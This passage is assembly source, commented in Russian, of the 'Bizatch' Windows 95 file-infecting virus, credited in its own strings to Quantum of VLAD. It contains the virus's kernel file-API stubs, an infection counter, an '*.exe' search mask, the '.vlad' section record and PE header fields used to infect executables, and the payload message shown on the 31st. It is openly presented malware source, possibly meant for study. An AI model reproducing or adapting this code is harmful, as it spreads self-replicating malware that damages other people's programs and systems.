push 0BFF778CBh
jmp [ebp+offset kern]
;Открытие/создание файла
CreateFile:
;Запишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push 0BFF77817h
jmp [ebp+offset kern]
;Установка указателя чтения/записи
SetFilePointer:
;Запишем в стек значение для установки
;указателя чтения/записи файла и вызовем KERNEL
push 0BFF76FA0h
jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;Запишем в стек значение для чтения из файла и вызовем KERNEL
push 0BFF75806h
jmp [ebp+offset kern]
;Запись в файл
WriteFile:
;Запишем в стек значение для записи в файл и вызовем KERNEL
push 0BFF7580Dh
jmp [ebp+offset kern]
;Закрытие файла
CloseFile:
;Запишем в стек значение для закрытия файла и вызовем KERNEL
push 0BFF7BC72h
jmp [ebp+offset kern]
;Счетчик заражений
countinfect db 0
;Используется для поиска файлов
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31−го числа
boxtitle db ”Bizatch by Quantum / VLAD”,0
;Сообщение, выводимое 31−го числа
boxmsg db ”The taste of fame just got tastier!”,0dh
db ”VLAD Australia does it again with the world”s first Win95 Virus”
db 0dh,0dh
db 9,”From the old school to the new. ”,0dh,0dh
db 9,”Metabolis”,0dh
db 9,”Qark”,0dh
db 9,”Darkman”,0dh
db 9,”Quantum”,0dh
db 9,”CoKe”,0
messagetostupidavers db ”Please note: the name of this virus is [Bizatch]”
db ”written by Quantum of VLAD”,0
;Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
;Используется для смены директории
dotdot db ”.”,0
;Используется для получения времени/даты
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
;Индекс для поиска файлов
searchhandle dd 0
;Маска для поиска
fname db ”*.exe”,0
;Описатель открытого файла
ahand dd 0
;Смещение PE−заголовка в файле
peheaderoffset dd 0
;Смещение таблицы объектов
ObjectTableoffset dd 0
;Количество записанных/считанных байт при работе с файлом
bytesread dd 0
;Новый объект
newobject:
oname db ”.vlad”,0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0C0h
;Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;Область памяти для чтения остатка PE−заголовка и таблицы объектов
vend:
db 1000h dup (0)
ends
end vstart